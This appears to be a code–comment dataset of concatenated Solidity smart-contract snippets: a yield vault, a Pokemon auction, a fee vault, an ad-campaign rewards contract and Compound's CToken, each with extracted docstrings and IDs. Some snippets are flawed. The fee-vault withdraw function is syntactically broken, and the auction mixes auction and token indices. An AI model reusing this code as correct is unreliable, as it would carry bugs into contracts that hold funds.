{Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } ////// src/pickle-jar.sol // https://github.com/iearn-finance/vaults/blob/master/contracts/vaults/yVault.sol /* pragma solidity ^0.6.7; */ /* import "./interfaces/controller.sol"; */ /* import "./lib/erc20.sol"; */ /* import "./lib/safe-math.sol"; */ contract PickleJar is ERC20 { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; IERC20 public token; uint256 public min = 9500; uint256 public constant max = 10000; address public governance; address public controller; constructor(address _token, address _governance, address _controller) public ERC20( string(abi.encodePacked("pickling ", ERC20(_token).name())), string(abi.encodePacked("p", ERC20(_token).symbol())) ) { _setupDecimals(ERC20(_token).decimals()); token = IERC20(_token); governance = _governance; controller = _controller; } function balance() public view returns (uint256) { return token.balanceOf(address(this)).add( IController(controller).balanceOf(address(token)) ); } function setMin(uint256 _min) external { require(msg.sender == governance, "!governance"); min = _min; } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function setController(address _controller) public { require(msg.sender == governance, "!governance"); controller = _controller; } // Custom logic in here for how much the jars allows to be borrowed // Sets minimum required on-hand to keep small withdrawals cheap function available() public view returns (uint256) { return token.balanceOf(address(this)).mul(min).div(max); } function earn() public { uint256 _bal = available(); token.safeTransfer(controller, _bal); IController(controller).earn(address(token), _bal); } function depositAll() external { deposit(token.balanceOf(msg.sender)); } function deposit(uint256 _amount) public { uint256 _pool = balance(); uint256 _before = token.balanceOf(address(this)); token.safeTransferFrom(msg.sender, address(this), _amount); uint256 _after = token.balanceOf(address(this)); _amount = _after.sub(_before); // Additional check for deflationary tokens uint256 shares = 0; if (totalSupply() == 0) { shares = _amount; } else { shares = (_amount.mul(totalSupply())).div(_pool); } _mint(msg.sender, shares); } function withdrawAll() external { withdraw(balanceOf(msg.sender)); } // Used to swap any borrowed reserve over the debt limit to liquidate to 'token' function harvest(address reserve, uint256 amount) external { require(msg.sender == controller, "!controller"); require(reserve != address(token), "token"); IERC20(reserve).safeTransfer(controller, amount); } // No rebalance implementation for lower fees and faster swaps function withdraw(uint256 _shares) public { uint256 r = (balance().mul(_shares)).div(totalSupply()); _burn(msg.sender, _shares); // Check balance uint256 b = token.balanceOf(address(this)); if (b < r) { uint256 _withdraw = r.sub(b); IController(controller).withdraw(address(token), _withdraw); uint256 _after = token.balanceOf(address(this)); uint256 _diff = _after.sub(b); if (_diff < _withdraw) { r = b.add(_diff); } } token.safeTransfer(msg.sender, r); } function getRatio() public view returns (uint256) { return balance().mul(1e18).div(totalSupply()); } }
Used to swap any borrowed reserve over the debt limit to liquidate to 'token'
function harvest(address reserve, uint256 amount) external { require(msg.sender == controller, "!controller"); require(reserve != address(token), "token"); IERC20(reserve).safeTransfer(controller, amount); }
118,545
./full_match/4/0x3704aFC30cDD0E6b220Aa18Ec76e4eb4722cB359/sources/browser/InstCrypt.sol
/ approve router contract
function approveForSwap(address tokenA, uint256 amountToken) public { IUniswapV2ERC20(tokenA).approve(address(iUniswapV2Router02), amountToken); }
13,295,429
pragma solidity ^0.4.18; import "./pokemonownership.sol"; // 0xe3a0ec5cb60318a00ff9efc6371cfcdb836bbcf2 contract PokemonAuction is PokemonOwnership { struct Auction { address winner; address beneficiary; uint firstPrice; uint reversePrice; uint endingTime; uint currentPrice; bool ended; } Auction[] public auctions; uint public creationFee; modifier onlyBefore(uint _time) {require(now < _time); _;} modifier onlyAfter(uint _time) {require(now > _time); _;} // Events that will be fired on changes. event PriceDecreased(uint idx, uint amount); event AuctionCreated(uint idx, string name, address beneficiary); event AuctionEnded(uint idx, address winner); /// Initiate the contracts. function PokemonAuction (uint _creationFee) public { require(_creationFee > 0); creationFee = _creationFee; } /// Create a new auction. function createAuction ( uint _pokemonId, uint _biddingTime, uint _firstPrice, uint _reversePrice ) public payable { require(msg.value >= creationFee); require(_biddingTime > 0); require(_firstPrice > _reversePrice); Auction memory newAuction; newAuction.endingTime = now + _biddingTime; newAuction.beneficiary = msg.sender; newAuction.firstPrice = _firstPrice; newAuction.currentPrice = _firstPrice; newAuction.reversePrice = _reversePrice; auctions.push(newAuction); Pokemon memory pokemon = pokemons[_pokemonId]; emit AuctionCreated(auctions.length - 1, pokemon.name, msg.sender); } function getAuctionsCount() public view returns (uint) { return auctions.length; } function getTimeInfo (uint idx) public view returns (bool, uint, uint) { return (auctions[idx].ended, now, auctions[idx].endingTime); } function getPriceInfo (uint idx) public view returns (uint, uint , uint){ return (auctions[idx].firstPrice, auctions[idx].reversePrice, auctions[idx].currentPrice); } function getVariables (uint idx) public view returns (address, address) { require(idx < auctions.length); return (auctions[idx].beneficiary, auctions[idx].winner); } function setCreationFee(uint _fee) external onlyOwner { creationFee = _fee; } /// Make the deal with the current price. function bid(uint idx) public payable onlyBefore(auctions[idx].endingTime) { require(msg.value == auctions[idx].currentPrice); require(!auctions[idx].ended); auctions[idx].winner = msg.sender; address owner = pokemonToOwner[idx]; owner.transfer(msg.value); _transfer(owner, msg.sender, idx); emit AuctionEnded(idx, msg.sender); } /// Lower the current price. /// Only beneficiary can call this function. function lower(uint idx, uint price) public onlyBefore(auctions[idx].endingTime) { require(msg.sender == auctions[idx].beneficiary); require(price < auctions[idx].currentPrice); require(price >= auctions[idx].reversePrice); auctions[idx].currentPrice = price; PriceDecreased(idx, auctions[idx].currentPrice); } /// End the auction and send the bid to the beneficiary function auctionEnd(uint idx) public onlyOwner { require(!auctions[idx].ended); auctions[idx].ended = true; } // Fallback function in case someone sends ether to the contract so it doesn't get lost // and to increase the treasury of this contract that will be distributed in each game function() public payable {} }
Create a new auction.
function createAuction ( uint _pokemonId, uint _biddingTime, uint _firstPrice, uint _reversePrice ) public payable { require(msg.value >= creationFee); require(_biddingTime > 0); require(_firstPrice > _reversePrice); Auction memory newAuction; newAuction.endingTime = now + _biddingTime; newAuction.beneficiary = msg.sender; newAuction.firstPrice = _firstPrice; newAuction.currentPrice = _firstPrice; newAuction.reversePrice = _reversePrice; auctions.push(newAuction); Pokemon memory pokemon = pokemons[_pokemonId]; emit AuctionCreated(auctions.length - 1, pokemon.name, msg.sender); }
2,550,955
./partial_match/570/0x39CadECd381928F1330D1B2c13c8CAC358Dce65A/sources/contracts/universal/FeeVault.sol
Triggers a withdrawal of funds to the fee wallet on L1 or L2.
function withdraw() external { require( address(this).balance >= MIN_WITHDRAWAL_AMOUNT, "FeeVault: withdrawal amount must be greater than minimum withdrawal amount" ); uint256 value = address(this).balance; totalProcessed += value; emit Withdrawal(value, RECIPIENT, msg.sender); emit Withdrawal(value, RECIPIENT, msg.sender, WITHDRAWAL_NETWORK); if (WITHDRAWAL_NETWORK == WithdrawalNetwork.L2) { SafeCall.send(RECIPIENT, gasleft(), value); RECIPIENT, WITHDRAWAL_MIN_GAS, bytes("") ); } }
3,504,286
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/SafeMath.sol'; import '@openzeppelin/contracts/access/Ownable.sol'; /** * @title Babylon * * @dev This contract manages the exchange of hbz tokens for Babylonia tokens, with a locking period * in place before tokens can be claimed */ contract MobilityCampaigns is Ownable { using SafeMath for uint256; event UserRegistered(address indexed account, uint enabledAt, uint enabledAtCampaignIdx); event CampaignCreated( address indexed creator, string indexed organization, string title, string category, uint createdAt, uint budgetWei, uint idx ); event CampaignCompleted(address indexed creator, uint totalCampaignReceivers, uint refundWei, uint idx); event UserRewardsWithdrawn(address indexed account, uint rewardsWei, uint totalRewardsWei, uint withdrewAt); event CampaignBlacklisted(address indexed creator, uint campaign); event CampaignFeatured(address indexed creator, uint campaign, uint rank); struct Campaign { address creator; // the address of the creator uint idx; // storage idx string organization; string category; string title; string ipfsHash; string key; uint budgetWei; uint createdAt; // datetime created uint expiresAt; // datetime when no longer valid bool isActive; // set to false when no longer active uint currentCampaignReceivers; // how many users receiving ads at time of creation uint currentRewardsWei; // how much wei for rewards at time of creation (excluding this one) uint currentClaimedWei; } struct RewardOwner { address owner; uint enabledAt; uint enabledAtCampaignIdx; // fetch all campaigns > this idx uint lastRewardAtCampaignIdx; uint lastRewardWei; uint totalRewardsWei; } address public graphIndexer; address public adVotingDAO; uint[] private activeCampaigns; Campaign[] private campaigns; RewardOwner[] private rewardOwners; mapping(address => bool) public dataProviders; // mapping of accounts that share data mapping(address => uint) public campaignReceivers; // mapping of accounts that receive campaigns to their rewards data mapping(address => uint) public activeCampaignOwners; // mapping of accounts that own campaigns (idx to activeCampaigns) mapping(address => uint) public blacklistedCampaignCreators; mapping(uint => uint) public featuredCampaigns; uint public EXPIRES_IN_SECONDS = 1296000; // 15 min uint public MIN_REWARDS_WITHDRAW_WEI = 150000000000000000; // 0.15 ETH uint public totalCampaignReceivers; uint public totalDataProviders; uint public totalRewardsWei; uint public rewardsWithdrawnWei; modifier onlyGraphIndexer() { require(msg.sender == graphIndexer, 'msg.sender must be graphIndexer'); _; } modifier onlyCampaignReceivers() { require(campaignReceivers[msg.sender] > 0, 'account must have approved to receive campaigns'); _; } modifier onlyActiveCampaignOwners() { require(activeCampaignOwners[msg.sender] != 0, 'account must have an active campaign'); _; } modifier noActiveCampaign() { require(activeCampaignOwners[msg.sender] == 0, 'account already has an active campaign'); _; } modifier onlyVotingDAO() { require(msg.sender == adVotingDAO, 'msg.sender must be ad voting DAO'); _; } modifier notBlacklisted() { require(blacklistedCampaignCreators[msg.sender] == 0, 'account must not have been blacklisted'); _; } /** * Contract constructor */ constructor() public { // indexing service The Graph // graphIndexer = _graphIndexer; totalCampaignReceivers = 0; totalDataProviders = 0; // take care of zero-index for storage arrays campaigns.push(Campaign({ creator: address(0), organization: '', category: '', title: '', ipfsHash: '', key: '', budgetWei: 0, createdAt: 0, expiresAt: 0, isActive: false, currentCampaignReceivers: 0, currentRewardsWei: 0, currentClaimedWei: 0, idx: 0 })); rewardOwners.push(RewardOwner({ owner: address(0), enabledAt: 0, enabledAtCampaignIdx: 0, lastRewardAtCampaignIdx: 0, lastRewardWei: 0, totalRewardsWei: 0 })); } /** * Do not accept ETH */ receive() external payable { require(msg.sender == address(0), 'not accepting ETH'); } // creator must send info + ETH function createCampaign( string memory _organization, string memory _category, string memory _title, string memory _ipfsHash, string memory _key ) public payable notBlacklisted noActiveCampaign { // assert budget require(msg.value > 0, 'value must be greater than 0'); // @TODO: set expiredAt // create record in storage, update lookup arrays uint idx = _createCampaignRecord( _organization, _category, _title, _ipfsHash, _key ); emit CampaignCreated( msg.sender, _organization, _title, _category, block.timestamp, msg.value, idx ); } function getReceiveCampaign(address _a) public view returns (bool) { return campaignReceivers[_a] > 0; } function getProvideData(address _a) public view returns (bool) { return dataProviders[_a]; } function enableNewUser() external { // sanity check require(campaignReceivers[msg.sender] == 0, 'user already registered'); // add to storage and lookup uint idx = campaigns.length - 1; rewardOwners.push(RewardOwner({ owner: msg.sender, enabledAt: block.timestamp, enabledAtCampaignIdx: idx, // [bogus, real] lastRewardAtCampaignIdx: 0, lastRewardWei: 0, totalRewardsWei: 0 })); campaignReceivers[msg.sender] = rewardOwners.length - 1; dataProviders[msg.sender] = true; totalCampaignReceivers = totalCampaignReceivers + 1; totalDataProviders = totalDataProviders + 1; emit UserRegistered(msg.sender, block.timestamp, idx); } function disableUser() external { // sanity check require(campaignReceivers[msg.sender] > 0, 'user not registered'); _removeRewardOwnerAt(campaignReceivers[msg.sender]); } // return active campaign id for owners function getActiveCampaignId() external view onlyActiveCampaignOwners returns(uint) { return activeCampaignOwners[msg.sender]; } // return active campaign for owners function getActiveCampaign() external view onlyActiveCampaignOwners returns( string memory organization, string memory category, string memory title, string memory ipfsHash, uint budgetWei, uint createdAt, uint expiresAt ) { Campaign storage campaign = campaigns[activeCampaignOwners[msg.sender]]; organization = campaign.organization; category = campaign.category; title = campaign.title; ipfsHash = campaign.ipfsHash; budgetWei = campaign.budgetWei; createdAt = campaign.createdAt; expiresAt = campaign.expiresAt; } function calculateRefundedWei() external view onlyActiveCampaignOwners returns (uint) { return _calculateRefundedBudget(); } function completeCampaign() external onlyActiveCampaignOwners { // sanity check // require(campaigns[activeCampaignOwners[msg.sender]].expiresAt > block.timestamp, 'campaign not yet expired'); uint idx = activeCampaignOwners[msg.sender]; uint refund = _calculateRefundedBudget(); _removeActiveCampaignAt(idx); // @TODO: is this the right storage var to update? totalRewardsWei = totalRewardsWei - refund; msg.sender.transfer(refund); emit CampaignCompleted(msg.sender, totalCampaignReceivers, refund, idx); } // return active campaign ids for receivers function getActiveCampaignIdsUsers() external view onlyCampaignReceivers returns(uint[] memory) { return activeCampaigns; } // return campaign for owners function getActiveCampaignUsers(uint _id) external view onlyCampaignReceivers returns( string memory organization, string memory category, string memory title, string memory ipfsHash, string memory key ) { Campaign storage campaign = campaigns[_id]; organization = campaign.organization; category = campaign.category; title = campaign.title; ipfsHash = campaign.ipfsHash; key = campaign.key; } // return active campaign id for owners function getIsCampaignActive(uint _idx) public view returns(bool) { return campaigns[_idx].isActive; } // allows users to withdraw their rewards based on the number of campaigns that have occurred // https://uploads-ssl.webflow.com/5ad71ffeb79acc67c8bcdaba/5ad8d1193a40977462982470_scalable-reward-distribution-paper.pdf function withdrawRewards() external onlyCampaignReceivers { RewardOwner storage rewardOwner = rewardOwners[campaignReceivers[msg.sender]]; uint prevIdx; uint currentIdx = campaigns.length - 1; if (rewardOwner.lastRewardAtCampaignIdx == 0) { prevIdx = rewardOwner.enabledAtCampaignIdx; } else { prevIdx = rewardOwner.lastRewardAtCampaignIdx; } require(currentIdx > rewardOwner.enabledAtCampaignIdx, 'cannot withdraw until at least 1 more campaign has been created'); require(currentIdx > prevIdx, 'cannot withdraw until at least 1 more campaign has been created'); Campaign storage campaignJ = campaigns[currentIdx]; // new rewards added since last time this account withdrew uint totalWei = (campaignJ.currentRewardsWei - campaigns[prevIdx].currentRewardsWei) / campaignJ.currentCampaignReceivers; // NOTE: we first multiply by 10e8 so to retain precision, then later divide again // NOTE: the multiplier logic is so that newcomers don't get all of the funds they COULD HAVE // this creates the situation where not all of the budget is used // @TOOD: try to make this ETH recoverable or at least included in some other kind of pool uint multiplier = ((currentIdx - rewardOwner.enabledAtCampaignIdx) * 10**8) / currentIdx; uint rWei = (totalWei * multiplier) / 10**8; // enforce a min before being able to withdraw (save gas) require(rWei >= MIN_REWARDS_WITHDRAW_WEI, 'minimum to withdraw not met'); // enforce a min before being able to withdraw (save gas) require(rWei <= address(this).balance, 'NOT ENOUGH CONTRACT FUNDS'); rewardOwner.lastRewardAtCampaignIdx = currentIdx; rewardOwner.lastRewardWei = rWei; rewardOwner.totalRewardsWei = rewardOwner.totalRewardsWei + rWei; rewardsWithdrawnWei = rewardsWithdrawnWei + rWei; msg.sender.transfer(rWei); emit UserRewardsWithdrawn(msg.sender, rWei, rewardOwner.totalRewardsWei, block.timestamp); } function isCampaignReceiver(address _account) public view returns (bool) { return campaignReceivers[_account] > 0; } function setAdVotingAddress(address _contract) public onlyOwner { adVotingDAO = _contract; } function blacklistCampaignCreator(uint _id) public onlyVotingDAO { Campaign storage campaign = campaigns[_id]; // blacklist the campaign creator blacklistedCampaignCreators[campaign.creator] = _id; // refund + close out the campaign uint refund = _calculateRefundedBudget(); _removeActiveCampaignAt(_id); activeCampaignOwners[campaign.creator] = 0; totalRewardsWei = totalRewardsWei - refund; payable(campaign.creator).transfer(refund); emit CampaignBlacklisted(campaign.creator, _id); } function setFeaturedCampaign(uint _id, uint _rank) public onlyVotingDAO { require(msg.sender == adVotingDAO, 'Error: only ad voting DAO'); featuredCampaigns[_id] = _rank; emit CampaignFeatured(campaigns[_id].creator, _id, _rank); } /** * Creates a record for the token exchange */ function _createCampaignRecord( string memory _organization, string memory _category, string memory _title, string memory _ipfsHash, string memory _key ) internal returns (uint) { // update total rewards totalRewardsWei = totalRewardsWei + msg.value; uint newIdx = campaigns.length; // add to storage and lookup campaigns.push(Campaign({ creator: msg.sender, organization: _organization, category: _category, title: _title, ipfsHash: _ipfsHash, key: _key, budgetWei: msg.value, createdAt: block.timestamp, expiresAt: (block.timestamp + EXPIRES_IN_SECONDS), isActive: true, currentCampaignReceivers: totalCampaignReceivers, currentRewardsWei: totalRewardsWei, currentClaimedWei: rewardsWithdrawnWei, idx: newIdx })); activeCampaigns.push(newIdx); activeCampaignOwners[msg.sender] = newIdx; return newIdx; } // make a campaign inactive function _removeActiveCampaignAt(uint _idx) internal { require(_idx < activeCampaigns.length, 'out of range exception - _idx'); require(activeCampaigns[_idx] < campaigns.length, 'out of range exception - activeCampaigns[_idx]'); require(campaigns[activeCampaigns[_idx]].isActive == true, 'campaign must be active'); campaigns[activeCampaigns[_idx]].isActive = false; activeCampaigns[_idx] = activeCampaigns[activeCampaigns.length - 1]; delete activeCampaigns[activeCampaigns.length - 1]; } // remove reward owner data from storage function _removeRewardOwnerAt(uint _idx) internal { require(_idx < rewardOwners.length, 'out of range exception - _idx'); rewardOwners[_idx] = rewardOwners[rewardOwners.length - 1]; delete rewardOwners[rewardOwners.length - 1]; } function _calculateRefundedBudget() internal view returns(uint) { Campaign storage campaignI = campaigns[activeCampaignOwners[msg.sender]]; Campaign storage campaignJ = campaigns[campaigns.length - 1]; uint rewardsAvailable = campaignJ.currentRewardsWei - campaignI.currentRewardsWei; // no new rewards have been added OR claimed if (rewardsAvailable == 0) { return campaignJ.currentRewardsWei; // @TODO: maybe should be campaignI.budgetWei } else { uint multiplier = campaignI.budgetWei / rewardsAvailable; // wei given relative to total available uint diffClaimed = campaignJ.currentClaimedWei - campaignI.currentClaimedWei; // wei claimed in between return (rewardsAvailable - diffClaimed) * multiplier; } } }
blacklist the campaign creator refund + close out the campaign
function blacklistCampaignCreator(uint _id) public onlyVotingDAO { Campaign storage campaign = campaigns[_id]; blacklistedCampaignCreators[campaign.creator] = _id; uint refund = _calculateRefundedBudget(); _removeActiveCampaignAt(_id); activeCampaignOwners[campaign.creator] = 0; totalRewardsWei = totalRewardsWei - refund; payable(campaign.creator).transfer(refund); emit CampaignBlacklisted(campaign.creator, _id); }
12,596,975
pragma solidity ^0.5.16; import "./ComptrollerInterface.sol"; import "./CTokenInterfaces.sol"; import "./ErrorReporter.sol"; import "./Exponential.sol"; import "./EIP20Interface.sol"; import "./EIP20NonStandardInterface.sol"; import "./InterestRateModel.sol"; /** * @title Compound's CToken Contract * @notice Abstract base for CTokens * @author Compound */ contract CToken is CTokenInterface, Exponential, TokenErrorReporter { /** * @notice Initialize the money market * @param comptroller_ The address of the Comptroller * @param interestRateModel_ The address of the interest rate model * @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18 * @param name_ EIP-20 name of this token * @param symbol_ EIP-20 symbol of this token * @param decimals_ EIP-20 decimal precision of this token */ function initialize(ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_) public { require(msg.sender == admin, "only admin may initialize the market"); require(accrualBlockNumber == 0 && borrowIndex == 0, "market may only be initialized once"); // Set initial exchange rate initialExchangeRateMantissa = initialExchangeRateMantissa_; require(initialExchangeRateMantissa > 0, "initial exchange rate must be greater than zero."); // Set the comptroller uint err = _setComptroller(comptroller_); require(err == uint(Error.NO_ERROR), "setting comptroller failed"); // Initialize block number and borrow index (block number mocks depend on comptroller being set) accrualBlockNumber = getBlockNumber(); borrowIndex = mantissaOne; // Set the interest rate model (depends on block number / borrow index) err = _setInterestRateModelFresh(interestRateModel_); require(err == uint(Error.NO_ERROR), "setting interest rate model failed"); name = name_; symbol = symbol_; decimals = decimals_; // The counter starts true to prevent changing it from zero to non-zero (i.e. smaller cost/refund) _notEntered = true; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint256 amount) external nonReentrant returns (bool) { return transferTokens(msg.sender, msg.sender, dst, amount) == uint(Error.NO_ERROR); } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint256 amount) external nonReentrant returns (bool) { return transferTokens(msg.sender, src, dst, amount) == uint(Error.NO_ERROR); } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external returns (bool) { address src = msg.sender; transferAllowances[src][spender] = amount; emit Approval(src, spender, amount); return true; } /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of tokens allowed to be spent (-1 means infinite) */ function allowance(address owner, address spender) external view returns (uint256) { return transferAllowances[owner][spender]; } /** * @notice Get the token balance of the `owner` * @param owner The address of the account to query * @return The number of tokens owned by `owner` */ function balanceOf(address owner) external view returns (uint256) { return accountTokens[owner]; } /** * @notice Get the underlying balance of the `owner` * @dev This also accrues interest in a transaction * @param owner The address of the account to query * @return The amount of underlying owned by `owner` */ function balanceOfUnderlying(address owner) external returns (uint) { Exp memory exchangeRate = Exp({mantissa: exchangeRateCurrent()}); return mul_ScalarTruncate(exchangeRate, accountTokens[owner]); } /** * @notice Get a snapshot of the account's balances, and the cached exchange rate * @dev This is used by comptroller to more efficiently perform liquidity checks. * @param account Address of the account to snapshot * @return (possible error, token balance, borrow balance, exchange rate mantissa) */ function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint) { uint cTokenBalance = getCTokenBalanceInternal(account); uint borrowBalance = borrowBalanceStoredInternal(account); uint exchangeRateMantissa = exchangeRateStoredInternal(); return (uint(Error.NO_ERROR), cTokenBalance, borrowBalance, exchangeRateMantissa); } /** * @dev Function to simply retrieve block number * This exists mainly for inheriting test contracts to stub this result. */ function getBlockNumber() internal view returns (uint) { return block.number; } /** * @notice Returns the current per-block borrow interest rate for this cToken * @return The borrow interest rate per block, scaled by 1e18 */ function borrowRatePerBlock() external view returns (uint) { return interestRateModel.getBorrowRate(getCashPrior(), totalBorrows, totalReserves); } /** * @notice Returns the current per-block supply interest rate for this cToken * @return The supply interest rate per block, scaled by 1e18 */ function supplyRatePerBlock() external view returns (uint) { return interestRateModel.getSupplyRate(getCashPrior(), totalBorrows, totalReserves, reserveFactorMantissa); } /** * @notice Returns the estimated per-block borrow interest rate for this cToken after some change * @return The borrow interest rate per block, scaled by 1e18 */ function estimateBorrowRatePerBlockAfterChange(uint256 change, bool repay) external view returns (uint) { uint256 cashPriorNew; uint256 totalBorrowsNew; if (repay) { cashPriorNew = add_(getCashPrior(), change); totalBorrowsNew = sub_(totalBorrows, change); } else { cashPriorNew = sub_(getCashPrior(), change); totalBorrowsNew = add_(totalBorrows, change); } return interestRateModel.getBorrowRate(cashPriorNew, totalBorrowsNew, totalReserves); } /** * @notice Returns the estimated per-block supply interest rate for this cToken after some change * @return The supply interest rate per block, scaled by 1e18 */ function estimateSupplyRatePerBlockAfterChange(uint256 change, bool repay) external view returns (uint) { uint256 cashPriorNew; uint256 totalBorrowsNew; if (repay) { cashPriorNew = add_(getCashPrior(), change); totalBorrowsNew = sub_(totalBorrows, change); } else { cashPriorNew = sub_(getCashPrior(), change); totalBorrowsNew = add_(totalBorrows, change); } return interestRateModel.getSupplyRate(cashPriorNew, totalBorrowsNew, totalReserves, reserveFactorMantissa); } /** * @notice Returns the current total borrows plus accrued interest * @return The total borrows with interest */ function totalBorrowsCurrent() external nonReentrant returns (uint) { require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed"); return totalBorrows; } /** * @notice Accrue interest to updated borrowIndex and then calculate account's borrow balance using the updated borrowIndex * @param account The address whose balance should be calculated after updating borrowIndex * @return The calculated balance */ function borrowBalanceCurrent(address account) external nonReentrant returns (uint) { require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed"); return borrowBalanceStored(account); } /** * @notice Return the borrow balance of account based on stored data * @param account The address whose balance should be calculated * @return The calculated balance */ function borrowBalanceStored(address account) public view returns (uint) { return borrowBalanceStoredInternal(account); } /** * @notice Return the borrow balance of account based on stored data * @param account The address whose balance should be calculated * @return the calculated balance or 0 if error code is non-zero */ function borrowBalanceStoredInternal(address account) internal view returns (uint) { /* Get borrowBalance and borrowIndex */ BorrowSnapshot storage borrowSnapshot = accountBorrows[account]; /* If borrowBalance = 0 then borrowIndex is likely also 0. * Rather than failing the calculation with a division by 0, we immediately return 0 in this case. */ if (borrowSnapshot.principal == 0) { return 0; } /* Calculate new borrow balance using the interest index: * recentBorrowBalance = borrower.borrowBalance * market.borrowIndex / borrower.borrowIndex */ uint principalTimesIndex = mul_(borrowSnapshot.principal, borrowIndex); uint result = div_(principalTimesIndex, borrowSnapshot.interestIndex); return result; } /** * @notice Accrue interest then return the up-to-date exchange rate * @return Calculated exchange rate scaled by 1e18 */ function exchangeRateCurrent() public nonReentrant returns (uint) { require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed"); return exchangeRateStored(); } /** * @notice Calculates the exchange rate from the underlying to the CToken * @dev This function does not accrue interest before calculating the exchange rate * @return Calculated exchange rate scaled by 1e18 */ function exchangeRateStored() public view returns (uint) { return exchangeRateStoredInternal(); } /** * @notice Calculates the exchange rate from the underlying to the CToken * @dev This function does not accrue interest before calculating the exchange rate * @return calculated exchange rate scaled by 1e18 */ function exchangeRateStoredInternal() internal view returns (uint) { uint _totalSupply = totalSupply; if (_totalSupply == 0) { /* * If there are no tokens minted: * exchangeRate = initialExchangeRate */ return initialExchangeRateMantissa; } else { /* * Otherwise: * exchangeRate = (totalCash + totalBorrows - totalReserves) / totalSupply */ uint totalCash = getCashPrior(); uint cashPlusBorrowsMinusReserves = sub_(add_(totalCash, totalBorrows), totalReserves); uint exchangeRate = div_(cashPlusBorrowsMinusReserves, Exp({mantissa: _totalSupply})); return exchangeRate; } } /** * @notice Get cash balance of this cToken in the underlying asset * @return The quantity of underlying asset owned by this contract */ function getCash() external view returns (uint) { return getCashPrior(); } /** * @notice Applies accrued interest to total borrows and reserves * @dev This calculates interest accrued from the last checkpointed block * up to the current block and writes new checkpoint to storage. */ function accrueInterest() public returns (uint) { /* Remember the initial block number */ uint currentBlockNumber = getBlockNumber(); uint accrualBlockNumberPrior = accrualBlockNumber; /* Short-circuit accumulating 0 interest */ if (accrualBlockNumberPrior == currentBlockNumber) { return uint(Error.NO_ERROR); } /* Read the previous values out of storage */ uint cashPrior = getCashPrior(); uint borrowsPrior = totalBorrows; uint reservesPrior = totalReserves; uint borrowIndexPrior = borrowIndex; /* Calculate the current borrow interest rate */ uint borrowRateMantissa = interestRateModel.getBorrowRate(cashPrior, borrowsPrior, reservesPrior); require(borrowRateMantissa <= borrowRateMaxMantissa, "borrow rate is absurdly high"); /* Calculate the number of blocks elapsed since the last accrual */ uint blockDelta = sub_(currentBlockNumber, accrualBlockNumberPrior); /* * Calculate the interest accumulated into borrows and reserves and the new index: * simpleInterestFactor = borrowRate * blockDelta * interestAccumulated = simpleInterestFactor * totalBorrows * totalBorrowsNew = interestAccumulated + totalBorrows * totalReservesNew = interestAccumulated * reserveFactor + totalReserves * borrowIndexNew = simpleInterestFactor * borrowIndex + borrowIndex */ Exp memory simpleInterestFactor = mul_(Exp({mantissa: borrowRateMantissa}), blockDelta); uint interestAccumulated = mul_ScalarTruncate(simpleInterestFactor, borrowsPrior); uint totalBorrowsNew = add_(interestAccumulated, borrowsPrior); uint totalReservesNew = mul_ScalarTruncateAddUInt(Exp({mantissa: reserveFactorMantissa}), interestAccumulated, reservesPrior); uint borrowIndexNew = mul_ScalarTruncateAddUInt(simpleInterestFactor, borrowIndexPrior, borrowIndexPrior); ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* We write the previously calculated values into storage */ accrualBlockNumber = currentBlockNumber; borrowIndex = borrowIndexNew; totalBorrows = totalBorrowsNew; totalReserves = totalReservesNew; /* We emit an AccrueInterest event */ emit AccrueInterest(cashPrior, interestAccumulated, borrowIndexNew, totalBorrowsNew); return uint(Error.NO_ERROR); } /** * @notice Sender supplies assets into the market and receives cTokens in exchange * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param mintAmount The amount of the underlying asset to supply * @param isNative The amount is in native or not * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual mint amount. */ function mintInternal(uint mintAmount, bool isNative) internal nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return (fail(Error(error), FailureInfo.MINT_ACCRUE_INTEREST_FAILED), 0); } // mintFresh emits the actual Mint event if successful and logs on errors, so we don't need to return mintFresh(msg.sender, mintAmount, isNative); } /** * @notice Sender redeems cTokens in exchange for the underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemTokens The number of cTokens to redeem into underlying * @param isNative The amount is in native or not * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemInternal(uint redeemTokens, bool isNative) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED); } // redeemFresh emits redeem-specific logs on errors, so we don't need to return redeemFresh(msg.sender, redeemTokens, 0, isNative); } /** * @notice Sender redeems cTokens in exchange for a specified 